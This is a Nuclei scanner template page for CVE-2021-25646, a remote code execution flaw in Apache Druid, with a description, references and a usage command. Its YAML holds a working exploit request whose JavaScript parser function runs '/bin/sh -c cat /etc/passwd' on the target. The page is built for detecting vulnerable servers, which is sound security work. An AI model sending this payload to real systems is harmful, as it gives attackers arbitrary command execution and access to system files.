Skip to content
Nuclei Templates

Apache Druid - Remote Code Execution

ID: CVE-2021-25646

Severity: high

Author: pikpikcu

Tags: cve2021,cve,apache,rce,druid

Description

Section titled “Description”

Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25646


info:
  name: Apache Druid - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Druid.
  reference:
    - https://paper.seebug.org/1476/
    - https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2021/01/29/6
    - https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25646
    cwe-id: CWE-732
    epss-score: 0.97385
    epss-percentile: 0.99912
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: druid
  tags: cve2021,cve,apache,rce,druid


http:
  - raw:
      - |
        POST /druid/indexer/v1/sampler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {
        "type":"index",
        "spec":{
           "ioConfig":{
              "type":"index",
              "firehose":{
                 "type":"local",
                 "baseDir":"/etc",
                 "filter":"passwd"
              }
           },
           "dataSchema":{
              "dataSource":"odgjxrrrePz",
              "parser":{
                 "parseSpec":{
                    "format":"javascript",
                    "timestampSpec":{


                    },
                    "dimensionsSpec":{


                    },
                    "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
                    "":{
                       "enabled":"true"
                    }
                 }
              }
           }
        },
        "samplerConfig":{
           "numRows":10
        }
        }


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "numRowsRead"
          - "numRowsIndexed"
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502204189f6c868a914a13de14b6c73b1eec6a10bf1499cfe0b8591aa0893eb29818d022100a6da51ebb8ae0f4da71da64a8bf89aca882f0aedc09ef1d34594a80362dbc898:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25646.yaml"

View on Github